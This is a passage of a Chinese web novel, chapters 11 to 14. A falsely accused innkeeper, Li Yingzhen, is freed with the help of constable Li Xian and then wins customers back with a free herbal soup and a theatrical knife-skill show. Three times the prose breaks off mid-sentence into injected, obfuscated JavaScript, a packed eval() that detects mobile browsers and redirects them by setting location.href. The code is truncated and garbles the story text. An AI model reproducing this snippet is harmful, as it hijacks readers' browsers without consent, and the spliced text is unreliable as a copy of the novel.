“周嫂那是多热心一人,怎么会做这种事?” “不应该吧,我看是周家那个烂赌鬼害人。” 县令又是几声惊堂木拍下,才令全场肃静。 他问李弦道:“周嫂与死者还有关系?” 李弦终于又将视线转去黎映真身上,道:“这便要问黎掌柜了。” 11. 第 11 章 不防李弦又将症结关键抛来自己身上,黎映真只抬头看着身旁那正垂眉注视着自己的人,脑子里还是一片空白。 周围的一切仿佛在这一刻都被抹除,她的眼里只有那双微微弯着,浅含笑意的眼睛。 还有那抱臂的动作。 李弦原先挺拔笔直的身杆这会儿还有些歪斜,眼看就跟要倒下去似的。 是那晚! 黎映真忽然懂了李弦的意思,对县令道:“禀大人,民女曾亲眼见到周坚为筹赌资,夜间追至客栈向周嫂讨要钱财。当时民女还跟周坚起了冲突,李捕快也在场。 “还有那晚打更的,他当时路过客栈,应该也看见了。” 县令不知她为何突然说这些,问道:“你提及此事是何用意?与本案有何关系?” “民女……”黎映真方才只是灵光乍现,真要立刻让她说个所以然来倒是有些困难。 她一面琢磨一面偷偷去看李弦,可那人这会儿倒只是看着县令,不看她了。 见她迟疑不答,县令又拍惊堂木,斥道:“你可知在公堂之上信口雌黄,戏弄本官该当何罪?” “不敢戏弄大人!”黎映真求饶,又努力构建方才所言跟命案的关系。 “周坚好赌,欠了赌坊不少赌债,常年靠周嫂做工补贴。那晚……应该是周坚又要去赌,或是被债主追债,便想向周嫂要钱……他甚至要民女提前预支周嫂三个月的工钱。 “命案死者系外地客商,表面看来与周嫂和周坚没有关系,但……死者到客栈的当日,周嫂行为异常,且案发后她跟周坚无故失踪……实在蹊跷。 “民女以为,或是周坚及身后的赌坊与死者有不为人知的关系,为躲避追责,就设计借客来居的地方下手,用食毒谋害死者。 “否则民女及客栈其他人,与死者素不相识,无冤无仇,为何要害他性命? “再说,客来居如今对民女而言至关重要,可不敢以全副身家去做这触犯律法之事。 “请大人明察!” 越到后来,黎映真说得越掷地有声,那“请大人明察”五个字当真是满含冤屈。 “黎掌柜所言正是卑职前往永宁县的原因。”李弦适时取出一份书信递给县令。 县令看过后脸色骤变,眸光一暗之下,又重重拍下惊堂木,当众宣布道:“经查客来居食客致死一案另有疑点,待本县查证后再做定夺。今有周氏、周坚母子二人在逃,着令悬赏缉拿。 “黎映真及客来居众人系因故牵连,非杀人者,当堂释放。退堂。” “威——武——” 衙役们低沉的喝声伴随着水火棍敲击地面的声音,为这场官司画上了句号。 老梁为黎映真解开铁手铐,欣喜道:“黎掌柜,恭喜了。” 黎映真在地上跪了多时,膝盖又痛又麻,好在有阿桃扶着才慢慢站了起来。 她无意转身时,瞧见黎世昌跟郑氏离去的背影,知道这两人没看上好戏,必然不悦,但她却是高兴了。 与此同时,吴二和客栈的其他伙计们都围了上来。 而李弦在县令离开时已然跟着一块儿走了,她还没来得及跟他道谢。 “梁捕快,若是回头见着李捕快,麻烦替我转达一声谢谢。再有便是有他这次相救,客来居的大门随时欢迎他光临。”黎映真道。 老梁连连点头道:“一定帮黎掌柜带到。这些天在牢里待得不舒服,赶紧回去好好梳洗熟悉,再去去晦气。我祝贵店生意兴隆。” 跟老梁再寒暄了几句,黎映真便转身要回客来居。 命案虽暂时了了,但她这客栈到底死了人,如何重振士气才是眼下最要紧的事。 当前直播间热度值:25。 冰冷的金属音再次突兀地在脑海中响起。 黎映真眉心一拧,冤屈洗刷,关注度回升在意料之中,但她不得不感叹,这破系统每次出现都如此不合时宜。 “搭档,热度回升了!虽然慢了点,但总归是好迹象!”系统的声音听起来似乎活跃了一些,“请搭档抓紧时间,任务进度已滞后。盘活客栈,任重道远!” “任务滞后?我差点连命都没了,也没见你想个法子。现在我脱身了,你倒知道来催任务进度了?”黎映真劈头盖脸冲着虚空混沌处一通臭骂,“老娘今天把话放这,怎么经营这客栈,我自己决定。如果真把我惹毛了,大不了一拍两散!” “搭档,你别……” “闭嘴!” “掌柜的,你怎么了?”阿桃扶着忽然一动不动的黎映真关心道,“你别吓我。吴二,怎么办?” “该不会还是被吓着了吧。”吴二张开手在黎映真面前晃了晃,“掌柜的?能听见我说话吗?孙伯,掌柜的这……” “我没事。”黎映真恢复了神智,揉了揉依旧痛感明显的膝盖,随口敷衍道,“就是膝盖还疼。” 话音刚落,她就见吴二蹲在自己面前,惊道:“你做什么?” 吴二拍了拍肩膀,道:“掌柜的不方便走路,我就背你回去,这点力气还是有的。” 想起方才黎世昌离开的背影,再看着眼前的吴二,阵阵暖意涌上黎映真心头。 鼻头发酸,眼眶发热,她努力抬头往天上看才勉强忍住险些流下的眼泪。 “阿桃,有手巾没?我眼睛里进沙子了。”明明说话声都带上了哭腔,她就是不想承认。 从阿桃那拿了手巾将溢出眼角的那点泪擦干,黎映真吸了吸鼻子,攥紧了手巾,看着大家道:“谢谢你们没有放弃我和客来居,你们是不是还愿意跟我回去接着干?” “当然!”几人异口同声道。 有大伙齐心协力固然好,但当黎映真回到客来居,看到好不容才有点起色的客栈又成了最初冷冷清清的样子,她才明白那一桩命案的影响,并不会县令一句宣判就轻易消除。 “掌柜的,咱们现在要做什么?” 听见阿桃困惑地问自己,黎映真想了想,道:“阿桃,你去找些红纸来。” 转头,她又吩咐孙伯道:“孙伯,你去清点一下后厨的食材,看看还有多少能用的,咱们现在能省则省。还有吴二,你带大家把客栈里里外外都彻底打扫一遍。” 有她这雷厉风行的态度,大家也被激昂了斗志,众人立刻应声,各自忙碌起来。 阿桃取来了红纸,黎映真也准备好了笔墨。 这原身一手毛笔字写得文秀清丽,黎映真凭着身体的肌肉记忆也算是将“沉冤得雪,感恩回馈”这几个字写出了秀而不弱的感觉。 练习的第一张写得还算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937304|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满意,她便又加写了几张。 写完了,她又亲自写了一篇告示,言辞恳切,先是对发生的意外深表痛心,再着重表明官府已还客栈清白,最后宣布为了感谢乡亲们的关注,客栈连续三日,所有菜品和住宿费用降价两成。 一旁的阿桃识字不多,磕磕巴巴地看完了这篇告示,还得听黎映真通读一遍才算了解了内容。 “可是……”阿桃还是不大放心,又看了看周围,确定没有其他人,才凑去黎映真身边低声道,“这次的案子闹得特别大,掌柜的你不在的那几天,黎家的人还来过。我偷偷听他们说,因为这次的事,黎老板一定会收回客栈的。” 她嚅嗫着,观察黎映真的反应,又顿了顿,道:“方才大家都在,我不好意思当众提。掌柜的,这事儿是真的吗?” 黎映真算是明白黎世昌去公审现场的原因了,他是急着把客栈收回去。 在心底冷哼一声,面对阿桃时,她又温柔笑道:“只要我们怒怒力,把客栈的生意做起来,他就收不回客栈。等以后清了我跟黎家的帐,客来居就自由了。” 那么她呢? 就算没有办法回到属于自己的时空,在这个世界里,她几时能够不用困于系统的桎梏,获得自由,至少做个正常人呢? 心底的顾虑暂且往后放一放,黎映真看着手里的告示觉得还不够。 她想起那个外地客商的死因,想起自己和李弦一起在公堂上陈述的“食物相克”的食毒之说,心头一动,于是在告示末尾又添了一句话。 “客来居将推出养生药膳系列,首款‘安神定惊汤’,免费赠予三日内前来捧场的新老主顾,数量有限,送完即止。” 让吴二陪着阿桃去贴红纸和告示,黎映真去找孙伯,商量着如何设计这“安神定惊汤”。 从客栈出来时,黎映真才发现快到收市的时间。 她急匆匆地跑进已渐西沉的夕阳里,穿过大半条街,进了一家当铺。 一只玉镯子,两根玉簪子,都是上好的料子,也是她从黎家带出来的为数不多的本金。 虽然有些舍不得,也觉得对不起原身的母亲,但眼下为解燃眉之急,周转的资金只能从这里出了。 当铺的人认得如今这位在县里出了名的“黎掌柜”,有意压了价。 “这料子不止这价,你再看看。” “就是这个价,除非黎掌柜你做死当,那还能当多些。” 死当便是放弃了赎回的机会,这确实让她进退两难了。 踏出当铺的那一刻,黎映真再也没能像在客栈众人面前那样表现出哪怕一丝的坚强。 垂头丧气地走在渐渐稀疏的街市人流中,经过身边的喧闹声与她全无关系,她好像一缕游魂,就这样意志消沉地去自己该去的地方。 回到客栈外时,她发现门贴了告示的墙下,正站着三三两两的百姓,对着那篇告示指指点点,在说着什么。 而那些百姓之外,李弦悠然自得的背影映入黎映真眼帘。 还是在公堂里见面时穿的那套衣裳,这会儿被夕阳染上了一层浅浅的金色,让那原本冷清的深色蓝衣都变得温暖了些。 “黎掌柜。”李弦先发现了她。 提步前,她将那张当票连同那一小袋银子往袖管里藏了些。 12. 第 12 章 客来居内。 唯一的一桌客人正大快朵颐,客栈的掌柜正在柜台后头盯着账本发愁。 对着账面上并不好看的数字,黎映真一双眉毛都快拧到一起,手里那支笔的笔尾眼看就要被彻底咬坏了。 “轱辘。” 一小串微微发闷的声响,打断了黎映真的思路。 然后一枚碎银子滚到她面前。 顺着碎银子滚来的轨迹看去,李弦那双笑弯了的眼睛映入她的眼帘。 黎映真合起账本,将碎银子推回给李弦:“太多了。” “还有那天打尖的钱。” “那也太多了。” “保不准我回头还来。”李弦梗梗脖子,又捶了几下,“衙门值夜的床没你这儿舒服。” 明明白日里在公堂上说话还有理有据,这会儿又成了信口胡诌的主。 黎映真睨了他一眼,收下碎银子,又打开抽屉,把多余的铜板退给他。 李弦手掌覆在那几枚铜板上,随便拿了一枚在手里抛着玩,视线却往柜台下的账本上瞟:“这些日子亏了多少?” 提起亏损的银子就心烦,黎映真却也不能给救命恩人甩脸子,遂自己生着闷气,把账本塞回抽屉里,锁起来。 只是动静有些大,咕咚咕咚地一声接着一声,震得柜台上剩下的那几枚铜板都跟着动了起来。 李弦不以为意,嘴角反而咧得更开,看着黎映真从柜台后头走出来去收拾他方才吃完的碗筷。 被抛起的铜板落回他掌心,背面。 听见那人忽然叹了一声,黎映真正麻溜地擦着桌子。 “走了。”李弦道,声音有些大。 她回头,发现那几枚铜板还在柜台上放着。 “等等。”丢下抹布跑去柜台前,拿了铜板再塞去李弦手里,她道,“该算的帐要算清楚,否则回头你说我开黑店怎么办?” “多谢。” 紧接着那句“抱怨”的便是这两个字,没给李弦一点转换情绪的机会。 李弦不防,失声“啊”了一记,下意识蜷起手,握住了那几枚黎映真塞给自己的铜板。 看着以往变脸快过翻书的人这会儿愣愣得跟傻了一样,黎映真忍俊不禁。 也只是眨眼的功夫,李弦回过味来就没再跟她纠缠那几枚铜钱的事,笑着又说了一声“走了”,这才真转身离开了客栈。 这回的“走了”说得比刚才那声慢了许多。 视线追着他的背影出了客栈,黎映真探头多看了几眼。 待收回目光,她却想不明白自己方才究竟对着那人看个什么劲儿。 翌日,天才蒙蒙亮,黎映真便已起身。 才到大堂,她便瞧见了吴二正在拆门版的身影。 “这么早?”说着话,黎映真上前帮忙。 “嘿嘿,大概是掌柜的沉冤得雪,客栈又能继续开业,我太高兴,睡不着就干脆早点过来。” “掌柜的!”阿桃也从后院的小门蹿了出来,“咦,吴二你比我还早。” 几人说说笑笑地开了张,黎映真去后厨准备今日的定惊汤。 早市开市后不久,客栈外的那张告示下,支起了一张小桌,桌上放着客来居的新品,桌旁的黎映真和阿桃正卖力吆喝。 可官司虽了,阴影犹在。 开张近半个时辰,尽管那张红底告示还算引人驻足,但真正踏入客栈的客人依旧屈指可数。 偶有探头探脑的,也只是对那“免费赠饮安神定惊汤”的字样有些好奇,没有多要留下的意思。 这种境况在意料之中,大伙儿只觉无奈却不泄气,依旧逢人三分笑,对那些探究、疑虑甚至是避之不及的目光坦然接受。 临近午时,街面逐渐呈现出一日里最热闹的景象。 喧闹的人声中,一阵熟悉的、听来懒洋洋的脚步声伴着腰间佩刀与皮革轻撞的声响由远及近传来。 黎映真低头整理桌上的东西,察觉头顶罩来一片阴影,随即听见李弦的声音传来:“这又是黎掌柜的奇思妙想?” 话音才落,一碗药膳便递到李弦面前。 没人说话,只有黎映真朝李弦挑了挑眉的画面落在旁人眼里。 李弦失笑,接了碗就送到嘴边,身子也隔着那张小桌子往黎映真跟前凑。 碗沿贴在唇边,他笑睨着黎映问道:“东西入肚,接下去的话可都由我说了。” “爱说不说。”黎映真自己也端起一碗定惊汤喝了几口,转头继续跟阿桃一块儿吆喝。 李弦没拦着,就这么穿着公服甲胄,一面看黎映真吆喝,一面慢慢喝着汤。 反倒是吴二见状凑上来道:“李捕快,这安神定惊汤的滋味如何?” “还行。”视线没从黎映真身上挪开,他还一口一口啜着,啧啧品味起来。 吴二骄傲道:“这可是我们掌柜大早上亲自起来熬的,里头用的食材也是她跟孙伯商量了很久才定下的。” 垂眼看了看碗里所剩无几的汤,李弦不知怎的没再接着喝了。 注意到李弦的动作,黎映真以为出了问题,立即过来道:“怎么了?这汤不好喝?” 李弦瞥了吴二一眼,从微眯眼角到弯起的嘴角,都透着一股另有深意的味道。 吴二不知他是什么意思,只觉得后背一阵发凉,转头躲进客栈去了。 黎映真猜到李弦又在诈人玩,笑骂了一句:“你吓唬人家老实孩子做什么。” 端着剩下的药膳,李弦动了动双肩松快筋骨,道:“维护成安县商铺经营秩序,是我分内职责。虽然客来居跟命案没有直接关联,但你手底下的人有问题,也需注意。 “日后我少不得要常来‘监督巡查’,黎掌柜可得认得我这张脸。” 听他说的冠冕堂皇,黎映真一阵阵发笑,挽起袖子,帮阿桃添补缺了的定惊汤,没去看李弦,道:“李捕快公务繁忙,我们这小店可不敢耽搁您。您要‘监督’,门口站着看便是,里头地刚擦干净,别踩脏了。” 她半日没大闲过,看得出有些疲惫,但那双圆溜溜的杏眼因专注而愈发清凉,腮边有淡淡红晕,吩咐阿桃做事时又认真干练,在李弦看来确实有着与年龄不符的沉稳和锐气。 “那怎么行?”李弦喝完剩下的定惊汤,自顾自地抬脚跨过门槛,“监督岂能流于形式?自然要深入实地,亲身体验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937305|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。还要一碗鲤鱼烩面,今日衙门的伙食没法下口。” 黎映真笑着里头的吴二使喊道:“赶快招呼李捕快。” 说完,她转身又去招呼一对想要尝试定惊汤的老夫妇。 就这么从门外的药膳汤到客栈里给食客们关于店内菜品的各种答疑,她这掌柜忙忙碌碌大半晌,都顾不上喝口水。 才向一位新食客介绍完明日美食直播间的活动,一杯水出现在黎映真眼角余光里。 “那明日等着客人过来参加我们的活动。”视线还没离开食客,她的手倒是有了自己的意志,已经伸去接水了。 指尖触到一阵热意,但她实在口渴,顾不上感受一闪而过的异样,拿了杯子便要去喝水。 待往身边多瞥了一眼,她才发现,水是李弦递来的。 “还没走?”强行将视线从那人身上挪开,黎映真双手捧着杯子竟是忘了喝。 李弦见状问道:“怎么?黎掌柜是怕我在这水里下毒?放心,苦杏仁价贵,我可舍不得。” 黎映真哼了一声,没好气地瞪他道:“多谢李捕快‘关怀’,我真怕呀。” 说着,她仰头将杯中水一饮而尽。 一个黑影从李弦手里向上蹿了出去,很快又落下。 黎映真见他抬手一抓,握在掌心,跟她道:“猜猜里头这铜板是正是反?” “掌柜的,你快来。”阿桃求助的喊声从外头传来。 “来了。”黎映真应了一声,再回了李弦一句“正面”就赶忙出去了。 他张开手掌一看,又是反面。 “哎。” 铜板连同剩下的饭钱一并被交给了吴二。 客栈门外,黎映真正跟向路过的客人介绍定惊汤。 不知是不是忘了,那只空杯子一直被拿在手里。 直到拿起杯子又想喝口水,她才发现里头早空了。 而李弦又抱臂靠着门框,像是吃饱了在晒太阳,一副散漫模样。 “李捕快还有什么要吩咐的?”黎映真问道。 李弦走去她身边,挨近了一些才低声道:“周嫂跟周坚应该是找不回来了。活不见人,死未见尸。” 虽不是与自己有牵扯的案子,但她做不到对周嫂的遭遇熟视无睹。 拉着李弦到一边,黎映真追问道:“什么意思?这案子不止一条人命?” “不好说。”李弦微微眯起的双眼在街上如织的人流中逡巡,像是在搜寻什么,“官府的事不便同你多说,但你这儿能出第一起案子,就难保不会有第二、第三起。” “这就是你特意过来的原因?”黎映真问道。 李弦扬了扬下巴,前一刻郑重的神情瞬间又成了往日那副吊儿郎当的模样,笑道:“哪敢在黎掌柜跟前说谎,真是衙门伙食太差,我自己出来开小灶的。” 黎映真眼看着那人提着懒散步子离开,心里想着他方才的提醒。 这是在暗示她还将身处危险不明的境地,需时刻提防? 直播间热度新峰值出现,为35。 出现时间…… 黎映真正心烦,脑内一声“闭嘴——”直接盖过了那讨人厌的系统音。 13. 第 13 章 接下去几日,客来居本就零散的食客群体中总会出现一个扎眼的身影。 那舒朗阔步每每到了客栈外就会慢下来,有时只是朝正营业的客栈张望,有时还要进去小坐,或是点个小菜,趁着直播间有热闹时抽个奖。 这日午市歇了,吴二正跟其他伙计一块儿打扫,恰是瞧见李弦从门口路过,他扬声招呼道:“李捕快今日这监督的时辰可是迟了。” 门外那懒洋洋的身影慢慢走了进来,朝柜台处瞥了一眼,问道:“你家掌柜呢?” “大概去后头补觉了。”擦了桌子,吴二将凳子塞去桌下,道,“这几日掌柜的都没睡好,李捕快今日来得迟也来得不巧。” 两人说着话,后院里出来个气鼓鼓的人影。 “不是在后头补觉?”李弦往空着的桌位一座,“可有午市剩下的吃食,我垫垫肚子,吃完了还得回衙门。” 看着一溜烟往后厨跑的吴二,李弦笑了笑,又见黎映真晃着身子,拖沓着脚步过来,他这就抽了凳子出来。 “怎么回事?”李弦在桌上揣起手,往黎映真跟前凑了凑,这才发现她眼下乌青的一圈,颜色不深,想来还是擦了胭脂水粉遮盖了几分。 “客栈的生意没什么大起色,我发愁。”双手托着下巴,她看起来确实不及刚从衙门回来时有精神。 “你那药膳……安神定惊汤不是挺受欢迎?我们衙门里都有人夸。” “因为那不要钱,但我不可能天天白送。” “所以你一直在想法子?” 黎映真一颗脑袋全由双手托着上下点头,跟牵线娃娃似的,唉声叹气道:“我这两只眼睛一闭上就是黎……我爹跟郑氏讨债的脸。” 是时,吴二送来一叠花生米跟一两个包子,道:“午市的热菜都做完了,眼下没生火,就这些,李捕快凑合凑合。” “没事。”李弦不以为意,抓了两颗花生就往嘴里送,又去看黎映真道:“你这脑袋瓜里有的是东西,能没办法?” 这话听着像夸她,可又不像这么回事。 黎映真吃味,嫌弃地瞥了李弦一眼,也抓了颗花生塞进嘴里,不由自主地就跟李弦聊了起来。 “我是想那个直播间形式还是太单一,不能只有做菜,尤其是这会儿生意低谷期,得下点猛料。 “可我暂时想不出能整什么活……” “整什么?” “整活。” 黎映真字正腔圆地重复了一次,看着李弦那一脸不解,解释道:“就是做一些一般人难以做到或是出人意料的事儿。” 李弦失笑,却也没说什么,只是又吃了几颗花生米,一面吃一面还似乎若有所思起来。 又急又重的脚步声从客栈外头传来,李弦循声朝门口看去,见是阿桃气呼呼地进来。 “哎。”他朝身边人打个眼色。 黎映真扭头去看,只见阿桃低着头,皱着一张脸往后院去。 “阿桃。”她唤道,冲小姑娘招手,这就将人叫到身旁坐下,“怎么了,谁欺负你了?我给你出气去。” “没人欺负我。”阿桃板着脸,看了看黎映真,这才露出委屈之色,道,“掌柜的,是我刚从赵叔的茶摊过来,听见那儿几个喝茶的在聊天,说咱们客栈风水不好,引邪祟,容易招晦气。” 虽不知这话是有人故意散播的,还是大伙儿闲谈流传开的,黎映真只觉得先前李弦要自己要有所提防的提醒还是应验了。 她摸了摸鼻子,偷偷去看李弦,见他倒是吃花生米吃得认真,没有要掺和这件事的意思。 “阿桃,他们怎么说的?”黎映真问道。 “就是这样。”阿桃开始学着那几个茶客的样子复数内容。 “听说了吗?客来居那地方,风水不好,以前就死过人,晦气得很。” “可不是嘛,不然好好一个店,怎么之前就开不下去了?一定有什么说法。” “黎家那疯丫头也是邪性,不然怎么能自己把自己的婚事搅黄了?她店里还吃死了人,虽说官府判了无罪,可谁知道是不是有什么脏东西作祟?” “对对,我可不敢去,沾了晦气,破财都是轻的。” 阿桃学得有模有样,可眼前两个人,一个只顾吃花生米,一个双眼一眯不像在听自己说话,她便更委屈了。 “啪”的一声,座子一震,那碟子里的花生米险些被震出去。 “掌柜的,你倒是说句话!”阿桃亟亟道。 黎映真前一刻还云锁雾绕、愁色深深的眸子霍得清亮起来,道:“有了。” 第二日一早,客来居门口新贴了一张红纸告示——为回馈新老客户,客来居首推原创主题直播间“金刀破煞”,诚邀乡亲见证至阳技艺荡涤阴晦邪祟,另有新品抽奖,不容错过。 那看来娟秀清丽的几行字里,金刀破煞和新品抽奖被有意写得大了些,再带朱砂作注,末尾还有大大的“!”符号,与别家告示自是不同。 黎映真这直播间本就有些人气,加之这次又附带了新内容,少不得引起县中百姓的注意。 于是将近直播时间,昨日还食客零星的客栈便坐满了人,好奇的、看热闹的各人各有心事,都等着那直播间开始。 “叮叮叮。” 三声铃响,黎映真在众人期待中走上直播间高台。 手里还拿着一把厚背菜刀。 哄闹的客栈大堂里,一道寒光自黎映真手中划出。 有眼尖的见她举起那把菜刀直直劈下,已失声“啊”了出来。 手起刀落。 那被磨得锃亮且锋利的刀刃直接劈进了她身前的砧板里。 精铁做的刀就那样立着。 黎映真还握着刀柄,缓缓转过头看着台下的食客们,问道:“诸位可知如今身在何处?” 她平日和善,多让人觉得亲切,这会儿却面无表情,往日含笑的杏眼里透着寒意,再配上她握着菜刀的姿势,有股说不出的诡异。 有胆小的已起身,想从人群后头溜走,却没想到还没跨出门,就撞上了那佩刀带索的衙门捕快。 李弦才到,不知直播间进行到哪一步,抱着长刀在怀里,问那看来慌慌张张的食客:“怎么了?” “李捕快,里头……”食客指着直播台的方向,一副要告发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938849|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客来居图谋不轨的样子。 李弦顺着那人指向望去,只见黎映真正在台上说话。 “不知各位有没有听说,我这客来居处在县中三煞位,阴邪汇聚,最好避而远之。”黎映真扬声道。 食客们面面相觑,脸色各异,议论声逐渐大了起来。 李弦看着有趣,与那食客道:“今儿黎掌柜改教大家伙风水,坐下听听也无妨。” 他往里头走,黎映真在台上接着说。 “但我这庖厨刀乃金铁之精,历经千锤百炼,灶火煅烧,汇聚浩然正气!” 说着,她试图将菜刀从砧板里拔出来。 但刀刃扎在砧板里,巍然不动。 李弦瞧她颇是费劲儿的模样忍俊不禁,找了张台前的空桌子坐下,道:“这凶煞之气是厉害,碍着黎掌柜拔刀呢。” 身后食客们闻言,哄堂大笑,先前古怪的气氛有所缓和。 这就被李弦下了面子,黎映真先不理他,暗暗咬牙用力一拔,终将菜刀拔了出来。 一阵掌声被带了起来,正是李弦起的头。 黎映真狠狠瞪了台下那个冤家,谁想他笑得更深。 心里暗骂这人欠打,可当着众人面,她冲李弦“哼”了一声,这才定了定神,举起菜刀继续与众人说道起来。 “庖厨之道,解牛剁骨,本就是斩断繁杂、破除障碍之举! “今日,我这客来居就用这至阳的刀,在这至阴的煞位上以刀为笔,以食材为卷,斩瓜切菜,破一破这煞气! “诸位睁大眼睛看好了!” 这番话止,吴二带人抬了一桌子的食材上来,有粗壮的猪大骨、坚实的牛腱子、肥硕的整鸡等。 而孙伯同时上台,自黎映真手中接过菜刀,开始表演。 “各位乡亲,今日,我们不论鬼神,只问手中这把刀!以金铁之魄,灶火之魂,斩那世间恶毒流言!破邪除妄! “第一式,开山断流。” 话音落下,众人只见一道精光闪过,孙伯手中厚重的菜刀精准地劈在粗大的猪骨关节处。 “咔嚓”一声脆响,骨屑纷飞。 众人还未完全从孙伯落刀时那如虹的气势中回过神,猪骨已应声而断,切口平滑如镜。 方才那无坚不摧之势,仿佛真能破开凶煞阴邪,冲破一切阻碍。 台下众人依然错愕,安静的大堂中又响起黎映真清亮的声音。 “第二式,抽丝剥茧。” 孙伯变戏法似的从身后摸出一把巧些的刀,走去桌上的牛腱子后头。 大伙儿只见他手腕翻飞,刀光闪烁间,牛腱子被顺着纹路片成肉片,一一铺在预先准备好的瓷盘中。 阿桃领人,捧着瓷盘展示给台前的食客检查:“客人请看,肉片薄而均匀,纹理清晰,寓意那些纷繁复杂的谣言,在我们客来居的金刀之下都会被一一瓦解。” 瓷盘呈到李弦面前,他只顺势看了一眼,便问黎映真道:“第三式可有什么名头?” “当然有。”黎映真不惧李弦“挑衅”,挑眉昂首,与众人道,“不过好事不怕晚,现在公布一则本店喜讯。” 14. 第 14 章 台上,吴二抱着抽奖箱子上来。 台下,李弦点的小菜已经送到,一并还有属于他的号码木牌。 他却没看,直接倒扣在桌上,视线落在又要说话的黎映真身上。 “日前,客来居推出了一款安神定惊汤,相信在座的客人中已有尝过的。” “那药膳汤汁浓厚,能品出一些食药原材,还算不错。” “客人们有所不知,之前推出的是我们的初代药膳汤,主要是想看看大家对这款产品的反应。 “不过所幸有了客人们的正向反馈,所以不才我,略懂一些食药补身原理,与我们的老厨头孙伯一起商量研究,终于有了客来居独家的‘安神定惊驱邪迎福汤’。” 黎映真拍了拍身边的抽奖箱子吸引注意,道:“在场哪位客人最是福星高照,只要……” 她缓缓抬起手,在众人引颈以盼下伸入箱子。 “第三式,分筋错骨!”孙伯忽然喝道。 原本放在桌上的一只杀好的整鸡,瞬间像是活了一般从桌上“跳”起。 孙伯眼疾手快,凌空一抓,握住了鸡脖子。 于是台上一边,黎映真的手还在箱子里慢悠悠地搅动写了号码的字条,另一边孙伯运刀如风,剔骨、卸肉、分件,动作行云流水,好不惹人注意。 台下观众分明看孙伯分解整鸡十分起劲儿,却又不想错过第一时间知道谁是那个福星,视线便在台上两处不停逡巡,心情很是跌宕。 在铿锵有力的剁砍声中,整只鸡被按照身体结构完整剖解,骨肉分离得利落干净,可见下刀之准、之狠,正如客栈对恶意谣言的痛恨与将之破除的决心。 孙伯收刀时,黎映真一句“诸位请看”便将所有人的视线拉到自己身上。 她终于从箱子中收回了手。 握着号码字条的拳头在全场翘首期待下抬起,迟迟没有打开。 “几号?” “别卖关子了!” 食客们一面催促,一面拿出自己的号码牌。 黎映真扬起嘴角,目光落在那正吃花生米的李弦身上。 “李捕快,我这三煞之地,真能出福星吗?” 说话间,原本收拢的手指渐次松开,最后只食指和大拇指还曲着。 那张写了福星号码的字条就夹在那两指中。 李弦不应声,只掏了枚铜钱出来,向上一抛。 铜钱落在桌面上,正正好好,正面朝上。 他眉眼一弯,对上黎映真盈盈清亮的眸光,道:“能。” 说时迟那时快,桌边一道影子蹿上台。 黎映真还来不及反应,掌心擦过一阵热意,那字条便不见了。 见是李弦公然抢了人家的东西,台下有人高声问道:“李捕快,你这是什么意思?” 李弦二指夹着字条举过头顶,道:“我说黎掌柜这破煞三式精彩,却偏要抽这福星实在麻烦,眼下我托着这福星,恳请黎掌柜将台上这戏唱完再说。” 两人纠缠时,阿桃他们已将三式做下的食材全部装盘陈列,一齐展出。 黎映真陈述结词道:“至阳之刀下,不见阴煞之气,只有堂堂正正、硬碰硬的真本事!我客来居,行得端、坐得正,靠的就是这实打实的手艺!这就是我开门做生意最灵的辟邪符!” 说着,她拿起最初的那把后背菜刀,再一次扎进砧板中。 “说得好!” “有这手艺,还有什么杀气敢近身?” 食客中有人给与了热烈的回应,且这气氛一旦起来,其余人逐渐受到了感染,跟着鼓起掌来。 黎映真见状才安心一些,暗中吐了口气。 又见李弦还举着那张字条,她双手抬起,示意大家安静,道:“那就有请李捕快替客来居迎福星了。” 李弦欣然,当众打开字条,道:“二十八号。” “我!” 黎映真看着那举起号码牌,兴冲冲挥动着引起旁人注意的食客,总觉得有不对劲儿的地方。 “哎。”身旁的李弦提醒道,“人我可给你抽出来了。” 那带着笑意的眉眼总像是藏着什么秘密,看得黎映真的疑心越发重了。 瞧着那人矫健地跳下台子,回到桌边继续吃花生米,玩那枚铜板,黎映真姑且不理会,重拾笑容,隔着人群对那位幸运食客道:“这位客人稍等,成安县头一份‘安神定惊驱邪迎福汤’立刻送上。这汤有咱们李捕快保驾护航,客人福运双至,我先恭喜了。” 看着阿桃给食客送去一盅药膳汤,黎映真继续道:“今日直播间三份食材的抽奖马上进行,另有想要尝尝我们迎福汤的客人也可现场选购,数量有限,卖完就要明日请早了。” 经此一场大戏,客栈内的气氛变得热烈,原本关于客栈沾了阴煞邪祟的谣言风向也似乎有了逆转的势头。 黎映真前前后后忙了好一阵,等终于过了客流最多、能停下喘口气的当口,他却见大堂的一处角落里,有个身影正安静坐着。 “你不是在那儿……”黎映真到那张桌子前,又回头看了一眼台前那张已经空了的桌子,再看看眼下坐在这角落里的李弦。 